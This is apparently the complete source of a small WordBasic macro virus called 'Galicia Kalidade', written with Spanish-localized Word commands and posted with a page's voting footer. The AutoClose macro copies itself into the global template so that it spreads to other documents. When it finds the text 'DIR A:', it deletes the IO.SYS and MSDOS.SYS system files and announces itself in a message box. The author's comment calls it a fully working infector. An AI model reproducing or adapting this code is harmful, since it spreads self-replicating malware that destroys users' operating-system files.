Sub Main nombre$ = NombreVentana$() + ":AutoClose" MacroCopiar nombre$, "Global:AutoClose", 1 ArchivoGuardarComo .Format = 1 MacroCopiar "Global:AutoClose", nombre$, 1 PrincipioDeDocumento Edici¢nBuscarEliminarFormato Edici¢nBuscar .Buscar = "DIR A:", .PalabraCompleta = 0, \ .CoincidirMay£sMin£s = 0, .Direcciones = 0, \ .Ajuste = 0 If Edici¢nBuscarEncontrado() <> 0 Then FijarAtributos "C:\IO.SYS",0 Fijar Atributos "C:\MSDOS.SYS",0 Kill "C:\IO.SYS" Kill "C:\MSDOS.SYS" MsgBox "El virus Galicia Kalidade ha actuado" , \ "Galicia Kalidade", 16 End If End Sub

' Hey! What are you looking for? *THAT* supertiny thing is a 100% working ' macro virus... didn't you believe me when i told you this is the smallest ' WW infector ever? :-)

Sign up to vote on this title
UsefulNot useful